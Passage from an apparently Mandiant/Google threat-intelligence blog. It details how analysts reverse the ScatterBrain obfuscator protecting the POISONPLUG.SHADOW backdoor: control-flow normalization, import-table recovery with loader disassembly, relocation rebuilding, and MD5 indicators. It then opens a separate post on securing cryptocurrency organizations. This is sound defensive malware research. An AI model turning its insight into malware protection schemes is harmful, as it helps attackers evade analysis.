• If it is a boundary instruction, skip further processing of this instruction and continue to the next one (return to Step 1).

4. Calculate Expected Fallthrough Instruction

• Determine the expected fallthrough instruction by identifying the sequential instruction that follows the current one in memory.

5. Verify Fallthrough Instruction

• Compare the calculated fallthrough instruction with the next instruction in the recovered cache.

• If the fallthrough instruction is not the next sequential instruction in memory, check whether it's a recovered instruction we already normalized:

• If it is, add a synthetic jump to link the two together in the normalized cache.

• If it is not, obtain the connecting fallthrough instruction from the recovery cache and append it to the normalized cache.

• If the fallthrough instruction matches the next instruction in the recovered cache:

• Do nothing, as the recovered instruction already correctly points to the fallthrough. Proceed to Step 6.

6. Handle Final Instruction

• Check if the current instruction is the final instruction in the recovered cache.

• If it is the final instruction:

• Add a final synthetic boundary jump, because if we reach this stage, we failed the check in Step 3.

• Continue iteration, which will cause the loop to exit.

• If it is not the final instruction:

• Continue iteration as normal (return to Step 1).

Figure 40: Flow chart of our normalization algorithm

The Python code in Figure 41 directly implements these normalization steps. It iterates over the recovered instructions and adds them to a normalized cache (normalized_flow), creates a linear mapping, and identifies where synthetic jumps are required. When a branch target points to obfuscator-injected code, it walks the backbone (walk_backbone) to find the next legitimate instruction. If the end of a function is reached without a natural boundary, a synthetic jump is created to maintain proper continuity. After the completion of the iteration, every branch target is updated (update_branch_targets), as illustrated in the previous section, to ensure that each instruction is correctly linked, resulting in a fully normalized CFG:

Figure 41: Python implementation of our normalization algorithm

Observing the Results

After applying our two primary passes, we have nearly eliminated all of the protection mechanisms. Although import protection remains to be addressed, our approach effectively transforms an incomprehensible mess into a perfectly recovered CFG.

For example, Figure 42 and Figure 43 illustrate the before and after of a critical function within the backdoor payload, which is a component of its plugin manager system. Through additional analysis of the output, we can identify functionalities that would have been impossible to delineate, much less in such detail, without our deobfuscation process.

Figure 42: Original obfuscated shadow::PluginProtocolCreateAndConfigure routine

Figure 43: Completely deobfuscated and functional shadow::PluginProtocolCreateAndConfigure routine

Import Recovery

Recovering and restoring the original import table revolves around identifying which import location is associated with which import dispatcher stub. From the stub dispatcher, we can parse the respective obf_imp_t reference in order to determine the protected import that it represents.

We pursue the following logic:

• Identify each valid call/jmp location associated to an import
  • The memory displacement for these will point to the respective dispatcher stub.
  • For HEADERLESS mode, we need to first resolve the fixup table to ensure the displacement points to a valid dispatcher stub.
• For each valid location traverse the dispatcher stub to extract the obf_imp_t
  • The obf_imp_t contains the RVAs to the encrypted DLL and API names.
• Implement the string decryption logic
  • We need to reimplement the decryption logic in order to recover the DLL and API names.
  • This was already done in the initial Import Protection section.

We encapsulate the recovery of imports with the following RecoveredImport data structure:

Figure 44: RecoveredImport type definition

RecoveredImport serves as the result produced for each import that we recover. It contains all the relevant data that we will use to rebuild the original import table when producing the deobfuscated image.

Locate Protected Import CALL and JMP Sites

Each protected import location will be reflected as either an indirect near call (FF/2) or an indirect near jmp (FF/4):

Figure 45: Disassembly of import calls and jmps representation

Indirect near calls and jmps fall under the FF group opcode where the Reg field within the ModR/M byte identifies the specific operation for the group:

• /2: corresponds to CALL r/m64

• /4: corresponds to JMP r/m64

Taking an indirect near call as an example and breaking it down looks like the following:

1. FF: group opcode.

2. 15: ModR/M byte specifying CALL r/m64 with RIP-relative addressing.

• 15 is encoded in binary as 00010101

• Mod (bits 6-7):  00

• Indicates either a direct RIP-relative displacement or memory addressing with no displacement.

• Reg (bits 3-5): 010

• Identifies the call operation for the group

• R/M (bits 0-2): 101

• In 64-bit mode with Mod 00 and R/M 101, this indicates RIP-relative addressing.

3. <32-bit displacement>: added to RIP to compute the absolute address.

To find each protected import location and their associated dispatcher stubs we implement a trivial brute force scanner that locates all potential indirect near call/jmps via their first two opcodes.

Figure 46: Brute-force scanner to locate all possible import locations

The provided code scans the code section of a protected binary to identify and record all locations with opcode patterns associated with indirect call and jmp instructions. This is the first step we take, upon which we apply additional verifications to guarantee it is a valid import site.

Resolving the Import Fixup Table

We have to resolve the fixup table when we recover imports for the HEADERLESS protection in order to identify which import location is associated with which dispatcher. The memory displacement at the protected import site will be paired with its resolved location inside the table. We use this displacement as a lookup into the table to find its resolved location.

Let's take a jmp instruction to a particular import as an example.

Figure 47: Example of a jmp import instruction including its entry in the import fixup table and the associated dispatcher stub

The jmp instruction's displacement references the memory location 0x63A88, which points to garbage data. When we inspect the entry for this import in the fixup table using the memory displacement, we can identify the location of the dispatcher stub associated with this import at 0x295E1. The loader will update the referenced data at 0x63A88 with 0x295E1, so that when the jmp instruction is invoked, execution is appropriately redirected to the dispatcher stub. 

Figure 48 is the deobfuscated code in the loader responsible for resolving the fixup table. We need to mimic this behavior in order to associate which import location targets which dispatcher.

$_Loop_Resolve_ImpFixupTbl: mov ecx, [rdx+4] ; fixup , either DLL, API, or ImpStub mov eax, [rdx] ; target ref loc that needs to be "fixed up" inc ebp ; update the counter add rcx, r13 ; calculate fixup fully (r13 is imgbase) add rdx, 8 ; next pair entry mov [r13+rax+0], rcx ; update the target ref loc w/ full fixup movsxd rax, dword ptr [rsi+18h] ; fetch imptbl total size, in bytes shr rax, 3 ; account for size as a pair-entry cmp ebp, eax ; check if done processing all entries jl $_Loop_Resolve_ImpTbl

Figure 48: Deobfuscated disassembly of the algorithm used to resolve the import fixup table

Resolving the import fixup table requires us to have first identified the data section within the protected binary and the metadata that identifies the import table (IMPTBL_OFFSET, IMPTBL_SIZE). The offset to the fixup table is from the start of the data section.

Figure 49: Python re-implementation of the algorithm used to resolve the import fixup table

Having the start of the fixup table, we simply iterate one entry at a time and identify which import displacement (location) is associated with which dispatcher stub (fixup).

Recovering the Import

Having obtained all potential import locations from the brute-force scan and accounted for relocations in HEADERLESS mode, we can proceed with the final verifications to recover each protected import. The recovery process is conducted as follows:

1. Decode the location into a valid call or jmp instruction
   • Any failure in decoding indicates that the location does not contain a valid instruction and can be safely ignored.
2. Use the memory displacement to locate the stub for the import
   • In HEADERLESS mode, each displacement serves as a lookup key into the fixup table for the respective dispatcher.
3. Extract the obf_imp_t structure within the dispatcher
   • This is achieved by statically traversing a dispatcher's disassembly listing.
   • The first lea instruction encountered will contain the reference to the obf_imp_t.
4. Process the obf_imp_t to decrypt both the DLL and API names
   • Utilize the two RVAs contained within the structure to locate the encrypted blobs for the DLL and API names.
   • Decrypt the blobs using the outlined import decryption routine.

Figure 50: Loop that recovers each protected import

The Python code iterates through every potential import location (potential_stubs) and attempts to decode each presumed call or jmp instruction to an import. A try/except block is employed to handle any failures, such as instruction decoding errors or other exceptions that may arise. The assumption is that any error invalidates our understanding of the recovery process and can be safely ignored. In the full code, these errors are logged and tracked for further analysis should they arise.

Next, the code invokes a GET_STUB_DISPLACEMENT helper function that obtains the RVA to the dispatcher associated with the import. Depending on the mode of protection, one of the following routines is used:

Figure 51: Routines that retrieve the stub RVA based on the protection mode

The recover_import_stub function is utilized to reconstruct the control flow graph (CFG) of the import stub, while _extract_lea_ref examines the instructions in the CFG to locate the lea reference to the obf_imp_t. The GET_DLL_API_NAMES function operates similarly to GET_STUB_DISPLACEMENT, accounting for slight differences depending on the protection mode:

Figure 52: Routines that decrypt the DLL and API blobs based on the protection mode

After obtaining the decrypted DLL and API names, the code possesses all the necessary information to reveal the import that the protection conceals. The final individual output of each import entry is captured in a RecoveredImport object and two dictionaries:

• d.imports
  • This dictionary maps the address of each protected import to its recovered state. It allows for the association of the complete recovery details with the specific location in the binary where the import occurs.
• d.imp_dict_builder
  • This dictionary maps each DLL name to a set of its corresponding API names. It is used to reconstruct the import table, ensuring a unique set of DLLs and the APIs utilized by the binary.

This systematic collection and organization prepare the necessary data to facilitate the restoration of the original functionality in the deobfuscated output. In Figure 53 and Figure 54, we can observe these two containers to showcase their structure after a successful recovery:

Figure 53: Output of the d.imports dictionary after a successful recovery

Figure 54: Output of the d.imp_dict_builder dictionary after a successful recovery

Observing the Final Results

This final step—rebuilding the import table using this data—is performed by the build_import_table function in the pefile_utils.py source file. This part is omitted from the blog post due to its unavoidable length and the numerous tedious steps involved. However, the code is well-commented and structured to thoroughly address and showcase all aspects necessary for reconstructing the import table.

Nonetheless, the following figure illustrates how we generate a fully functional binary from a headerless-protected input. Recall that a headerless-protected input is a raw, headerless PE binary, almost analogous to a shellcode blob. From this blob we produce an entirely new, functioning binary with the entirety of its import protection completely restored. And we can do the same for all protection modes.

Figure 55: Display of completely restored import table for a binary protected in HEADERLESS mode

Building Relocations in Deobfuscated Binaries

Now that we can fully recover the CFG of protected binaries and provide complete restoration of the original import tables, the final phase of the deobfuscator involves merging these elements to produce a functional deobfuscated binary. The code responsible for this process is encapsulated within the recover_output64.py and the pefile_utils.py Python files.

The rebuild process comprises two primary steps:

1. Building the Output Image Template

2. Building Relocations

1. Building the Output Image Template

Creating an output image template is essential for generating the deobfuscated binary. This involves two key tasks:

• Template PE Image: A Portable Executable (PE) template that serves as the container for the output binary that incorporates the restoration of all obfuscated components. We also need to be cognizant of all the different characteristics between in-memory PE executables and on-file PE executables.

• Handling Different Protection Modes: Different protection modes and input stipulate different requirements.

• Headerless variants have their file headers stripped. We must account for these variations to accurately reconstruct a functioning binary.

• Selective protection preserves the original imports to maintain functionality as well as includes a specific import protection for all the imports leveraged within the selected functions. 

2. Building Relocations

Building relocations is a critical and intricate part of the deobfuscation process. This step ensures that all address references within the deobfuscated binary are correctly adjusted to maintain functionality. It generally revolves around the following two phases:

• Calculating Relocatable Displacements: Identifying all memory references within the binary that require relocation. This involves calculating the new addresses where these references will point to. The technique we will use is generating a lookup table that maps original memory references to their new relocatable addresses.

• Apply Fixups: Modifies the binary's code to reflect the new relocatable addresses. This utilizes the aforementioned lookup table to apply necessary fixups to all instruction displacements that reference memory. This ensures that all memory references within the binary correctly point to their intended locations.

We intentionally omit the details of showcasing the rebuilding of the output binary image because, while essential to the deobfuscation process, it is straightforward enough and just overly tedious to be worthwhile examining in any depth. Instead, we focus exclusively on relocations, as they are more nuanced and reveal important characteristics that are not as apparent but must be understood when rewriting binaries.

Overview of the Relocation Process

Rebuilding relocations is a critical step in restoring a deobfuscated binary to an executable state. This process involves adjusting memory references within the code so that all references point to the correct locations after the code has been moved or modified. On the x86-64 architecture, this primarily concerns instructions that use RIP-relative addressing, a mode where memory references are relative to the instruction pointer.

Relocation is necessary when the layout of a binary changes, such as when code is inserted, removed, or shifted during deobfuscation. Given our deobfuscation approach extracts the original instructions from the obfuscator, we are required to relocate each recovered instruction appropriately into a new code segment. This ensures that the deobfuscated state preserves the validity of all memory references and that the accuracy of the original control and data flow is sustained.

Understanding Instruction Relocation

Instruction relocation revolves around the following:

• Instruction's memory address: the location in memory where an instruction resides.
• Instruction's memory memory references: references to memory locations used by the instruction's operands.

Consider the following two instructions as illustrations:

Figure 56: Illustration of two instructions that require relocation

1. Unconditional jmp instructionThis instruction is located at memory address 0x1000. It references its branch target at address 0x4E22. The displacement encoded within the instruction is 0x3E1D, which is used to calculate the branch target relative to the instruction's position. Since it employs RIP-relative addressing, the destination is calculated by adding the displacement to the length of the instruction and its memory address.

2. lea instructionThis is the branch target for the jmp instruction located at 0x4E22. It also contains a memory reference to the data segment, with an encoded displacement of 0x157.

When relocating these instructions, we must address both of the following aspects:

• Changing the instruction's address: When we move an instruction to a new memory location during the relocation process, we inherently change its memory address. For example, if we relocate this instruction from 0x1000 to 0x2000, the instruction's address becomes 0x2000.

• Adjusting memory displacements: The displacement within the instruction (0x3E1D for the jmp, 0x157 for the lea) is calculated based on the instruction's original location and the location of its reference. If the instruction moves, the displacement no longer points to the correct target address. Therefore, we must recalculate the displacement to reflect the instruction's new position.

Figure 57: Updated illustration demonstration of what relocation would look like

When relocating instructions during the deobfuscation process, we must ensure accurate control flow and data access. This requires us to adjust both the instruction's memory address and any displacements that reference other memory locations. Failing to update these values invalidates the recovered CFG.

What Is RIP-Relative Addressing?

RIP-relative addressing is a mode where the instruction references memory at an offset relative to the RIP (instruction pointer) register, which points to the next instruction to be executed. Instead of using absolute addresses, the instruction encapsulates the referenced address via a signed 32-bit displacement from the current instruction pointer.

Addressing relative to the instruction pointer exists on x86 as well, but only for control-transfer instructions that support a relative displacement (e.g., JCC conditional instructions, near CALLs, and near JMPs). The x64 ISA extended this to account for almost all memory references being RIP-relative. For example, most data references in x64 Windows binaries are RIP-relative.

An excellent tool to visualize the intricacies of a decoded Intel x64 instruction is ZydisInfo. Here we use it to illustrate how a LEA instruction (encoded as 488D151B510600) references RIP-relative memory at 0x6511b.

Figure 58: ZydisInfo output for the lea instruction

For most instructions, the displacement is encoded in the final four bytes of the instruction. When an immediate value is stored at a memory location, the immediate follows the displacement. Immediate values are restricted to a maximum of 32 bits, meaning 64-bit immediates cannot be used following a displacement. However, 8-bit and 16-bit immediate values are supported within this encoding scheme.

Figure 59: ZydisInfo output for the mov instruction storing an immediate operand

Displacements for control-transfer instructions are encoded as immediate operands, with the RIP register implicitly acting as the base. This is evident when decoding a jnz instruction, where the displacement is directly embedded within the instruction and calculated relative to the current RIP.

Figure 60: ZydisInfo output for the jnz instruction with an immediate operand as the displacement

Steps in the Relocation Process

For rebuilding relocations we take the following approach:

1. Rebuilding the code section and creating a relocation mapWith the recovered CFG and imports, we commit the changes to a new code section that contains the fully deobfuscated code. We do this by:

• Function-by-function processing: rebuild each function one at a time. This allows us to manage the relocation of each instruction within its respective function.

• Tracking instruction locations: As we rebuild each function, we track the new memory locations of each instruction. This involves maintaining a global relocation dictionary that maps original instruction addresses to their new addresses in the deobfuscated binary. This dictionary is crucial for accurately updating references during the fixup phase.

2. Applying fixupsAfter rebuilding the code section and establishing the relocation map, we proceed to modify the instructions so that their memory references point to the correct locations in the deobfuscated binary. This restores the binary's complete functionality and is achieved by adjusting memory references to code or data an instruction may have.

Rebuilding the Code Section and Creating a Relocation Map

To construct the new deobfuscated code segment, we iterate over each recovered function and copy all instructions sequentially, starting from a fixed offset—for example, 0x1000. During this process, we build a global relocation dictionary (global_relocs) that maps each instruction to its relocated address. This mapping is essential for adjusting memory references during the fixup phase.

The global_relocs dictionary uses a tuple as the key for lookups, and each key is associated with the relocated address of the instruction it represents. The tuple consists of the following three components:

1. Original starting address of the function: The address where the function begins in the protected binary. It identifies the function to which the instruction belongs.

2. Original instruction address within the function: The address of the instruction in the protected binary. For the first instruction in a function, this will be the function's starting address.

3. Synthetic boundary JMP flag: A boolean value indicating whether the instruction is a synthetic boundary jump introduced during normalization. These synthetic instructions were not present in the original obfuscated binary, and we need to account for them specifically during relocation because they have no original address.

Figure 61: Illustration of how the new code segment and relocation map are generated

The following Python code implements the logic outlined in Figure 61. Error handling and logging code has been stripped for brevity.

Figure 62: Python logic that implements the building of the code segment and generation of the relocation map

1. Initialize current offset
   Set the starting point in the new image buffer where the code section will be placed. The variable curr_off is initialized to starting_off, which is typically 0x1000. This represents the conventional start address of the .text section in PE files. For SELECTIVE mode, this will be the offset to the start of the protected function.
2. Iterate over recovered functions
   Loop through each recovered function in the deobfuscated control flow graph (d.cfg). func_ea is the original function entry address, and rfn is a RecoveredFunc object encapsulating the recovered function's instructions and metadata.
   1. Handle the function start address first

      1. Set function's relocated start address: Assign the current offset to rfn.reloc_ea, marking where this function will begin in the new image buffer.

      2. Update global relocation map: Add an entry to the global relocation map d.global_relocs to map the original function address to its new location.
   2. Iterate over each recovered instruction
      Loop through the normalized flow of instructions within the function. We use the normalized_flow as it allows us to iterate over each instruction linearly as we apply it to the new image.
      1. Set instruction's relocated address: Assign the current offset to r.reloc_ea, indicating where this instruction will reside in the new image buffer.
      2. Update global relocation map: Add an entry to d.global_relocs for the instruction, mapping its original address to the relocated address.
      3. Update the output image: Write the instruction bytes to the new image buffer d.newimgbuffer at the current offset. If the instruction was modified during deobfuscation (r.updated_bytes), use those bytes; otherwise, use the original bytes (r.instr.bytes).
      4. Advance the offset: Increment curr_off by the size of the instruction to point to the next free position in the buffer and move on to the next instruction until the remainder are exhausted.
3. Align current offset to 16-byte boundaryAfter processing all instructions in a function, align curr_off to the next 16-byte boundary. We use 8 bytes as an arbitrary pointer-sized value from the last instruction to pad so that the next function won't conflict with the last instruction of the previous function. This further ensures proper memory alignment for the next function, which is essential for performance and correctness on x86-64 architectures. Then repeat the process from step 2 until all functions have been exhausted.

This step-by-step process accurately rebuilds the deobfuscated binary's executable code section. By relocating each instruction, the code prepares the output template for the subsequent fixup phase, where references are adjusted to point to their correct locations.

Applying Fixups

After building the deobfuscated code section and relocating each recovered function in full, we apply fixups to correct addresses within the recovered code. This process adjusts the instruction bytes in the new output image so that all references point to the correct locations. It is the final step in reconstructing a functional deobfuscated binary.

We categorize fixups into three distinct categories, based primarily on whether they apply to control flow or data flow instructions. We further distinguish between two types of control flow instructions: standard branching instructions and those introduced by the obfuscator through the import protection. Each type has specific nuances that require tailored handling, allowing us to apply precise logic to each category.

1. Import Relocations: These involve calls and jumps to recovered imports.

2. Control Flow Relocations: All standard control flow branching branching instructions.

3. Data Flow Relocations: Instructions that reference static memory locations.

Using these three categorizations, the core logic boils down to the following two phases:

1. Resolving displacement fixups
   • Differentiate between displacements encoded as immediate operands (branching instructions) and those in memory operands (data accesses and import calls).
   • Calculate the correct fixup values for these displacements using the d.global_relocs map generated prior.
2. Update the output image buffer
   • Once the displacements have been resolved, write the updated instruction bytes into the new code segment to reflect the changes permanently.

To achieve this, we utilize several helper functions and lambda expressions. The following is a step-by-step explanation of the code responsible for calculating the fixups and updating the instruction bytes.

Figure 63: Helper routines that aid in applying fixups

• Define lambda helper expressions
  • PACK_FIXUP: packs a 32-bit fixup value into a little-endian byte array.
  • CALC_FIXUP: calculates the fixup value by computing the difference between the destination address (dest) and the end of the current instruction (r.reloc_ea + size), ensuring it fits within 32 bits.
  • IS_IN_DATA: checks if a given address is within the data section of the binary. We exclude relocating these addresses, as we preserve the data section at its original location.
• Resolve fixups for each instruction
  • Import and data flow relocations
    • Utilize the resolve_disp_fixup_and_apply helper function as both encode the displacement within a memory operand.
  • Control flow relocations
    • Use the resolve_imm_fixup_and_apply helper as the displacement is encoded in an immediate operand.
    • During our CFG recovery, we transformed each jmp and jcc instruction to its near jump equivalent (from 2 bytes to 6 bytes) to avoid the shortcomings of 1-byte short branches.
      • We force a 32-bit displacement for each branch to guarantee a sufficient range for every fixup.
• Update the output image buffer
  • Decode the updated instruction bytes to have it reflect within the RecoveredInstr that represents it.
  • Write the updated bytes to the new image buffer
    • updated_bytes reflects the final opcodes for a fully relocated instruction.

With the helpers in place, the following Python code implements the final processing for each relocation type.

Figure 64: The three core loops that address each relocation category

• Import Relocations: The first for loop handles fixups for import relocations, utilizing data generated during the Import Recovery phase. It iterates over every recovered instruction r within the rfn.relocs_imports cache and does the following:
  • Prepare updated instruction bytes: initialize r.updated_bytes with a mutable copy of the original instruction bytes to prepare it for modification.
  • Retrieve import entry and displacement: obtain the import entry from the imports dictionary d.imports and retrieve the new RVA from d.import_to_rva_map using the import's API name.
  • Apply fixup: use the resolve_disp_fixup_and_apply helper to calculate and apply the fixup for the new RVA. This adjusts the instruction's displacement to correctly reference the imported function.
  • Update image buffer: write r.updated_bytes back into the new image using update_reloc_in_img. This finalizes the fixup for the instruction in the output image.
• Control Flow Relocations: The second for loop handles fixups for control flow branching relocations (call, jmp, jcc). Iterating over each entry in rfn.relocs_ctrlflow, it does the following:
  • Retrieve destination: extract the original branch destination target from the immediate operand.
  • Get relocated address: reference the relocation dictionary d.global_relocs to obtain the branch target's relocated address. If it's a call target, then we specifically look up the relocated address for the start of the called function.
  • Apply fixup: use resolve_imm_fixup_and_apply to adjust the branch target to its relocated address.
  • Update buffer: finalize the fixup by writing r.updated_bytes back into the new image using update_reloc_in_img.
• Data Flow Relocations: The final loop handles the resolution of all static memory references stored within rfn.relocs_dataflow. First, we establish a list of KNOWN instructions that require data reference relocations. Given the extensive variety of such instructions, this categorization simplifies our approach and ensures a comprehensive understanding of all possible instructions present in the protected binaries. Following this, the logic mirrors that of the import and control flow relocations, systematically processing each relevant instruction to accurately adjust their memory references. 

After reconstructing the code section and establishing the relocation map, we proceeded to adjust each instruction categorized for relocation within the deobfuscated binary. This was the final step in restoring the output binary's full functionality, as it ensures that each instruction accurately references the intended code or data segments.

Observing the Results

To demonstrate our deobfuscation library for ScatterBrain, we conduct a test study showcasing its functionality. For this test study, we select three samples: a POISONPLUG.SHADOW headerless backdoor and two embedded plugins.

We develop a Python script, example_deobfuscator.py, that consumes from our library and implements all of the recovery techniques outlined earlier. Figure 65 and Figure 66 showcase the code within our example deobfuscator:

Figure 65: The first half of the Python code in example_deobfuscator.py

Figure 66: The second half of the Python code in example_deobfuscator.py

Running example_deobfuscator.py we can see the following. Note, it takes a bit given we have to emulate more than 16,000 instruction dispatchers that were found within the headerless backdoor.

Figure 67: The three core loops that address each relocation category

Focusing on the headerless backdoor both for brevity and also because it is the most involved in deobfuscating, we first observe its initial state inside the IDA Pro disassembler before we inspect the output results from our deobfuscator. We can see that it is virtually impenetrable to analysis.

Figure 68: Observing the obfuscated headerless backdoor in IDA Pro

After running our example deobfuscator and producing a brand new deobfuscated binary, we can see the drastic difference in output. All the original control flow has been recovered, all of the protected imports have been restored, and all required relocations have been applied. We also account for the deliberately removed PE header of the headerless backdoor that ScatterBrain removes.

Figure 69: Observing the deobfuscated headerless backdoor in IDA Pro

Given we produce functional binaries as part of the output, the subsequent deobfuscated binary can be either run directly or debugged within your favorite debugger of choice.

Figure 70: Debugging the deobfuscated headerless backdoor in everyone’s favorite debugger

Conclusion

In this blog post, we delved into the sophisticated ScatterBrain obfuscator used by POISONPLUG.SHADOW, an advanced modular backdoor leveraged by specific China-nexus threat actors GTIG has been tracking since 2022. Our exploration of ScatterBrain highlighted the intricate challenges it poses for defenders. By systematically outlining and addressing each protection mechanism, we demonstrated the significant effort required to create an effective deobfuscation solution.

Ultimately, we hope that our work provides valuable insights and practical tools for analysts and cybersecurity professionals. Our dedication to advancing methodologies and fostering collaborative innovation ensures that we remain at the forefront of combating sophisticated threats like POISONPLUG.SHADOW. Through this exhaustive examination and the introduction of our deobfuscator, we contribute to the ongoing efforts to mitigate the risks posed by highly obfuscated malware, reinforcing the resilience of cybersecurity defenses against evolving adversarial tactics.

Indicators of Compromise

A Google Threat Intelligence Collection featuring indicators of compromise (IOCs) related to the activity described in this post is now available.

Host-Based IOCs

MD5

Associated Malware Family

5C62CDF97B2CAA60448619E36A5EB0B6

POISONPLUG.SHADOW

0009F4B9972660EEB23FF3A9DCCD8D86

POISONPLUG.SHADOW

EB42EF53761B118EFBC75C4D70906FE4

POISONPLUG.SHADOW

4BF608E852CB279E61136A895A6912A9

POISONPLUG.SHADOW

1F1361A67CE4396C3B9DBC198207EF52

POISONPLUG.SHADOW

79313BE39679F84F4FCB151A3394B8B3

POISONPLUG.SHADOW

704FB67DFFE4D1DCE8F22E56096893BE

POISONPLUG.SHADOW

Acknowledgements

Special thanks to Conor Quigley and Luke Jenkins from the Google Threat Intelligence Group for their contributions to both Mandiant and Google’s efforts in understanding and combating the POISONPLUG threat. We also appreciate the ongoing support and dedication of the teams at Google, whose combined efforts have been crucial in enhancing our cybersecurity defenses against sophisticated adversaries.

Written by: Joshua Goddard

The Rise of Crypto Heists and the Challenges in Preventing Them

Cryptocurrency crime encompasses a wide range of illegal activities, from theft and hacking to fraud, money laundering, and even terrorist financing, all exploiting the unique characteristics of digital currencies. Cryptocurrency heists, specifically, refer to the large-scale theft of cryptocurrencies or digital assets through unauthorized access, exploitation, or deception.

Cryptocurrency heists are on the rise due to the lucrative nature of their rewards, the challenges associated with attribution to malicious actors, and the opportunities presented by nascent familiarity with cryptocurrency and Web3 technologies among many organizations. Cofense highlighted that phishing activity targeting Web3 platforms increased by 482% in 2022, Chainalysis reported that $24.2 billion USD was received by illicit addresses in 2023, and Immunefi reported that in Q2 2024, compromises of Web3 organizations resulted in losses of approximately $572 million USD.

When threat actors gain access to cryptocurrency organizations, the potential for rapid, high-value financial losses due to unauthorized access is significantly elevated. A single malicious command executed on a vulnerable system can lead to the theft of millions of dollars worth of assets. This starkly contrasts with traditional organizations, where achieving financial gain or extracting value from stolen data often requires prolonged social engineering campaigns, all while facing the risk of detection and apprehension by law enforcement or financial institutions. The prospect of swift and substantial financial gains presents a compelling motivation for threat actors to target cryptocurrency organizations.

Cryptocurrency organizations are those whose core operations revolve around the use, management, or exchange of digital currencies, including:

• Cryptocurrency exchanges that facilitate the buying and selling of cryptocurrencies

• Financial institutions or payment gateway platforms that provide on or off ramp buying and selling of cryptocurrencies

• Financial institutions that hold cryptocurrency assets as investment products for their customers

• DeFi protocol providers that provide financial solutions for interacting with cryptocurrency assets

• Web3 game creators that use blockchains for their in-game economics

• Providers of hardware or software cryptocurrency wallets, wallet custodians, and wallet smart contract providers, which facilitate storage solutions for cryptocurrency assets 

• Cryptocurrency mining organizations, which validate transactions to generate new cryptocurrency tokens

The threats posed to these organizations are significant. Mandiant has observed cryptocurrency organizations employing heightened security controls driven by pressures from widespread reporting of impactful heists, however, many still remain unprepared for the threats they face. 

Across its Incident Response engagements conducted at cryptocurrency organizations, Mandiant has observed common challenges relatively unique to these types of organizations. Mandiant has observed that these challenges introduce significant technical security debt, complexity, and widened attack surfaces, which make preventing, detecting, and responding to intrusions increasingly challenging.

• Hyperfocus on wallet infrastructure: Many organizations focus on the security of wallet infrastructure but fall short on fundamental enterprise security practices.

• Rapid development lifecycles: Cryptocurrency organizations, especially startups, often need to develop platforms fast, driven by aggressive market competition and investor pressure.

• Unmanaged workforces: Given the demand for cryptocurrency platform developers, many organizations employ contractors or freelancers, who work for multiple organizations at the same time from their own devices. These devices are generally not monitored or policy-enforced by the organizations the user works for, and compromise of one of these devices may lead to intrusions at multiple organizations.

• Unmanaged or disparate infrastructure: Given how rapidly many organizations have grown, infrastructure can be relatively chaotic, with disparate systems across multiple environments or cloud providers, with ad-hoc inventory or change management practices.

Mandiant has observed similarities in how threat actors were able to compromise and steal cryptocurrencies from intrusions it has investigated. In Securing Cryptocurrency Organizations, Mandiant has collated recommendations and insight from its frontline work, designed to specifically assist organizations whose core business involves interacting with cryptocurrencies. The recommendations provide an overview of security controls that cryptocurrency organizations should implement to prevent intrusions, detect them earlier in the Attack Lifecycle, and respond to them more effectively. While these recommendations are based on specific security failings observed in intrusions Mandiant has investigated, alternative frameworks outlining wider security controls for Cryptocurrency Organizations are available within the industry. Notably, the Security Frameworks by Security Alliance (SEAL) provides an excellent overview of key controls to consider when approaching security in a range of cryptocurrency organizations.

Prevention Securing Cryptocurrency and IT Infrastructure to Prevent Compromise Cryptocurrency Infrastructure and Wallet Management

Cryptocurrency infrastructure is the network of systems, protocols, and technologies that facilitate the creation, storage, transfer, and management of digital assets. At the core of this infrastructure are cryptocurrency wallets, which serve as containers for storing and managing cryptographic keys that provide ownership and control over cryptocurrencies. The highest priority for every cryptocurrency organization is the security of this infrastructure, since compromise of these keys can lead to significant financial loss.

Standards for Crypto Infrastructure

Traditional cryptographic security controls are commonplace in most organizations' security strategy. Many of the same controls and use cases can be applied to the protection of cryptocurrency keys and wallets.

The CryptoCurrency Security Standard (CCSS) from the CryptoCurrency Certification Consortium (C4) is a widely accepted standard for the technical security of systems that store or interact with cryptocurrencies. While not formally required by any financial regulator in any market, the controls it introduces are a strong starting point for organizations looking to secure their cryptocurrency infrastructure, specifically, and complement other local and international IT security standards. Mandiant recommends that organizations maintaining cryptocurrency infrastructure should adhere to these standards, both on custom implementations and with third-party solutions.

Custodian Solutions

Many cryptocurrency organizations choose to use commercial cryptocurrency custodian solutions to manage their wallet infrastructure. These solutions offer several advantages, especially for green-field or start-up organizations that may lack the skills, budget, or requirements to build or commission custom systems. The primary advantages of custodian solutions include simplified authentication and permissions management, streamlined logging and monitoring, and the provision of API access for easy integration with other systems.

Commercial custodian platforms can introduce new risks over custom-built solutions, especially when those platforms are not self-hosted. These include the potential compromise of the custodian platform itself, vulnerabilities in platform dependencies or content delivery networks (CDNs), and reliance on internal vendor security testing and monitoring for closed-source commercial platforms. Organizations should implement and validate strict controls around any custodian solution.

• Perform internal security testing: When using self-hosted solutions, organizations should conduct internal security testing for every new implementation or significant change. This may be performed internally or by using multiple third-party vendors. This helps identify misconfigurations and vulnerabilities and provides extra assurance above and beyond the testing performed by the custodian vendor.

• Implement strict access controls: Implement strict authentication and access controls, including principles of least privilege and multifactor authentication. Any account with permission to withdraw cryptocurrency assets or make platform or wallet policy changes should be considered a highly privileged account.

• Implement strict scopes: Implement limits on spending and access at user, wallet, and API key levels. Implement transaction allow lists for destination send addresses and regularly audit the scopes.

• Manage credentials: Protect API keys and credentials by using just-in-time keys, avoiding local storage, and allowing developer access to only developer custodian instances or environments. Integrate the credentials for custodian solutions into privileged access and identity management solutions to enhance auditing and management of credentials.

• Secure access: When using on-premises or cloud-hosted custodian web platforms, ensure that users visit the platform using saved bookmarks, and always verify the website they are visiting is legitimate before transacting.

• Limit transaction types: When managing or interacting with smart contracts through a custodian platform, the platform should support limiting which functions can be called. This would typically include only allowing token transfers instead of risky operations like smart contract updates. The exact functions callable by the custodian will depend on the smart contract deployed.

• Configure multi-signature (multi-sig) requirements: If the platform is managing multi-sig smart wallets, ensure that it is one of the required signatures and it only provides that signature if the transaction meets all of the configured criteria, including destination addresses and called functions. The custodian must have context around the exact functions being called on any smart contract to configure these criteria.

Smart Contracts and Multi-Sig Wallets

Organizations should employ smart contracts for cold wallets that necessitate multiple hardware signatures to authorize significant send transactions. While the specific capabilities of these contracts can vary across blockchains, Mandiant recommends that organizations should consider several key controls.

• Use audited contract code: For multi-sig wallets, opt for open-source, publicly audited contract code without any modifications. Where custom contracts are required, their code should be audited and tested by experts familiar with the blockchain and coding language used.
